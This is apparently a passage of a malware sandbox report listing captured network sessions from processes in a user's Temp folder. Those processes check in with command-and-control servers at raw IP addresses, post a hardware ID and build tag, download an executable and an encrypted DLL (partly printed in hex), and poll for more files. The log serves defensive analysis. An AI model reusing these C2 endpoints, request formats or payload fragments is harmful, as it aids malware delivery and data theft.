Dec 9, 2024 21:09:34.037188053 CET	1236	IN	Data Raw: 6a ae 27 d9 b3 9d 09 a8 7e e2 29 a2 e6 51 f8 41 f1 7f 9d 65 07 9c 56 d3 b0 8e fa 57 20 da 25 74 e8 69 fa 6f 9f f2 1f 95 7d 0c 1e ad 3f fc 0c d2 3a 4d 8e aa 79 35 26 c7 44 91 77 e2 6e f3 82 ac a7 8b e6 6f a9 34 d6 e6 f1 70 e2 ef ad 05 11 18 7b f9 Data Ascii: j'~)QAeVW %tio}?:My5&Dwno4p{~NIFpiMu:ao+ovy-!\|WiCUg7 Ql-IRt]\|\|~E]Sj)(7RX-
Dec 9, 2024 21:09:34.037197113 CET	248	IN	Data Raw: bf 4d ca 28 70 45 cf bc fa 01 70 9c 49 c6 f8 78 ba 2f fb 28 27 74 39 3d f8 19 96 d8 b6 71 0e b0 7c ac a2 39 99 9b e1 31 94 17 80 ac 4b d4 f1 c6 f0 32 e2 d3 78 a2 c1 e7 bf 1e ad c3 ae a4 4d 7b 96 89 05 78 18 b7 08 6e fc 50 e5 c5 27 d9 37 c5 76 84 Data Ascii: M(pEpIx/('t9=q\|91K2xM{xnP'7veD.lLQ-w%'O2w81.O{\|-a2V41`dA=7i2V9tOCoYo=iMt v
Dec 9, 2024 21:09:34.038042068 CET	1236	IN	Data Raw: 77 71 b6 7f e6 c3 25 da b8 1e d0 c3 9b 29 ce 4a 3a 91 f8 1f 94 33 7b 66 9f 19 cf 1b 53 af 73 37 57 ab a4 63 0c f6 ad e2 7b 40 c2 52 b8 78 a6 fa 4f 78 8f c9 73 c5 7d af 45 9e 2e 94 16 2c fd d4 3b 28 f8 98 cd 7a c3 97 79 ff 09 cb d0 b9 0e f8 61 b1 Data Ascii: wq%)J:3{fSs7Wc{@RxOxs}E.,;(zyaTB(w^uFX+K)Y!Y(x1c=<YQ(UYO?Bh-I`n+x3cwkD<z
Dec 9, 2024 21:09:34.038261890 CET	1236	IN	Data Raw: b8 6a f6 a9 1c 05 02 d6 5b 16 cf c1 a8 38 cf 3f 74 ab 91 54 b0 bf ef e3 67 ac 89 8c b0 dd 1e 44 78 14 35 8a bd 4d 08 e1 b9 af dd 57 ea 15 91 aa 87 2d e9 74 e8 80 b2 37 f8 c7 79 05 24 ab e9 9e ea f9 45 aa 2b c5 f9 50 79 6e 06 a8 fe 55 6e d6 47 ad Data Ascii: j[8?tTgDx5MW-t7y$E+PynUnGv$Z3k s"bsCw](/+{s9y"=-Xv%]#+Dh;5,g/!$mPp8#A }
Dec 9, 2024 21:09:34.155591011 CET	1236	IN	Data Raw: 1e 5f 0c 90 7c dd d1 57 1e 95 8b ac 16 b0 fe b1 0e ae 0e d6 5b 2e 1f 9a ee f6 ff 8f be c7 59 d9 7b ad 79 52 5a 72 de 77 e9 76 01 d9 1f 2f 24 f0 90 92 1d b4 ed 95 20 9a 77 99 8a aa 04 f3 3d c4 e9 e5 ee 23 74 c3 c4 d9 c7 df cf b3 c0 c7 33 45 a7 d6 Data Ascii: _\|W[.Y{yRZrwv/$ w=#t3E7a\|h)3pOuP$-)\+=IO;9tkzk \|9T-Co]ATC9dx.EyHK/)W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49942	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:39.609054089 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013512001&unit=246122658369
Dec 9, 2024 21:09:40.974790096 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49944	185.215.113.206	80	5936	C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:40.558505058 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:41.900995970 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 21:09:42.137903929 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"stok------KEGCBFCBFBKFHIECAFCF--
Dec 9, 2024 21:09:42.584184885 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49945	185.215.113.16	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:41.098817110 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 21:09:42.434988976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:41 GMT Content-Type: application/octet-stream Content-Length: 973312 Last-Modified: Mon, 09 Dec 2024 20:03:57 GMT Connection: keep-alive ETag: "67574d2d-eda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 25 4d 57 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPEL%MWg"w@0@@@d\|@ou4@.text `.rdata@@.datalpH@.rsrco@p@@.relocuvd@B
Dec 9, 2024 21:09:42.435098886 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 9, 2024 21:09:42.435467958 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 9, 2024 21:09:42.435529947 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Dec 9, 2024 21:09:42.435540915 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 9, 2024 21:09:42.436186075 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Dec 9, 2024 21:09:42.436197996 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Dec 9, 2024 21:09:42.436203957 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Dec 9, 2024 21:09:42.436477900 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Dec 9, 2024 21:09:42.436599016 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Dec 9, 2024 21:09:42.554760933 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49957	80.82.65.70	80	3132	C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:44.726979017 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:45.904295921 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:45 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:09:45.916407108 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:46.392565012 CET	224	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 9, 2024 21:09:46.398927927 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:46.959505081 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:46 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 9, 2024 21:09:46.959547043 CET	224	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(ucc
Dec 9, 2024 21:09:46.959557056 CET	1236	IN	Data Raw: f9 ad 67 76 17 ac ab 0b db 40 d6 4d bb cd 29 6e a5 f1 4c c0 34 97 4f a7 0e ef fc 69 77 78 64 69 c1 97 d8 e5 76 6d 29 51 42 65 a8 c4 f5 a2 34 c7 ba 35 61 41 aa 57 a4 b7 cf 8b 03 c3 a3 26 de 8a 41 ec 05 e5 7f c7 58 21 a7 f2 0c 7b c0 5b 44 1a 6d 43 Data Ascii: gv@M)nL4Oiwxdivm)QBe45aAW&AX!{[DmC(^_iPUrl9L"?2Z,+V:R&!HJqa&uv5"+o%P4@.vgAY#i?_$J8sQ^I#sn`G}HC
Dec 9, 2024 21:09:46.959661961 CET	1236	IN	Data Raw: b8 96 c1 6b 69 27 5c ee c7 f9 89 a8 9e 4c 34 d5 75 9d fe 61 ca 18 4d 6f 0d 99 bc 16 23 4a 4b fb 31 9f 78 59 bb 31 c6 42 c1 b8 db d8 d2 09 84 0e 37 cd 9f 81 56 19 9f 47 ef 83 60 3c 07 f7 1b 6f 60 ce ba f3 16 fe 3c 27 3e b4 51 bc dc c3 26 bf 0f df Data Ascii: ki'\L4uaMo#JK1xY1B7VG`<o`<'>Q&Md42R32zD4:6vaG3~}safF4d\|a.V6.qz$C'^Y'=C]YA'6mo@{# }YniEVoD"8*k;
Dec 9, 2024 21:09:46.959680080 CET	448	IN	Data Raw: 9b 84 b6 11 05 74 f4 6a 29 ea 95 12 3e 4e c6 5d 07 8a 8c 6e 0a 29 df c0 d0 dc 61 4a f2 87 c7 57 b7 17 8a ec 0d 94 4d 28 cc 70 af e6 39 a5 16 63 ea 3d 97 af a2 e0 b5 f0 4d db 26 a7 ce 90 e4 a4 5d c2 5d 0e 75 5a 74 b9 53 4e 57 3f b4 a7 76 c9 b2 72 Data Ascii: tj)>N]n)aJWM(p9c=M&]]uZtSNW?vr>o+X<T<RvNdl:b=l{bK)06(]LiR(:'hbJ5}V78t4L7xqmFJ-rBCk1^u^Xe@bZ@%
Dec 9, 2024 21:09:46.959691048 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 9, 2024 21:09:46.959702015 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 9, 2024 21:09:46.959990978 CET	1236	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 9, 2024 21:09:46.960001945 CET	1236	IN	Data Raw: 1a 2a 62 b4 ae 8a 5b 82 f2 2e 8d 4c f7 bc 4a 54 d2 2f 9c 5e d2 78 32 e3 23 07 42 8b dd c1 ad 98 37 2e 4a db d1 95 b9 bb 1a f0 cf e7 16 4b fc ec 93 ab e6 08 7e 4b 49 dc 0d 53 c5 8e 5f f2 c2 11 55 dc 53 1e 24 d4 8f 7e fa 25 60 68 8f b2 67 bd 27 d8 Data Ascii: b[.LJT/^x2#B7.JK~KIS_US$~%`hg'?CW[MQHSB-v0< c\tMc[T4Auxxc+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&
Dec 9, 2024 21:09:46.968178988 CET	1236	IN	Data Raw: 40 1b 4a eb 32 76 5f d3 fb 39 60 50 11 2c ac 7f 75 d5 41 17 9a ba 9a a5 65 e4 39 e7 ee 7b 3f e7 8d d7 54 c2 a5 72 c0 54 8a a5 b2 41 0c fc b8 f8 a6 99 6c 72 12 a8 98 67 28 3b fc fc c1 a9 30 6d fe 11 b8 f9 56 53 85 81 29 cb 26 d1 c8 94 83 58 a5 3c Data Ascii: @J2v_9`P,uAe9{?TrTAlrg(;0mVS)&X<V\/Z~_Jp;JOU6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[a
Dec 9, 2024 21:09:46.968332052 CET	1120	IN	Data Raw: 2b 67 00 6f 36 93 8b 8f 53 25 a3 ee f6 cc 1a d2 6d 3a a3 c7 1f 80 c8 43 65 da 7d 01 a3 c8 c6 08 e5 c2 f8 af 3d 9e 77 c1 ae 46 51 3f 02 02 8d 16 23 36 00 5e 2a 1d fc e1 36 a7 cc 4b 30 26 1d 8f 5f 45 f5 89 69 ff aa 98 7d 6d 1c a5 a0 d0 73 f1 10 df Data Ascii: +go6S%m:Ce}=wFQ?#6^6K0&_Ei}ms' 0u't0h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{T
Dec 9, 2024 21:09:47.619965076 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:48.114501953 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:09:50.380223989 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:50.872679949 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:50 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:09:53.188770056 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:53.679863930 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:53 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
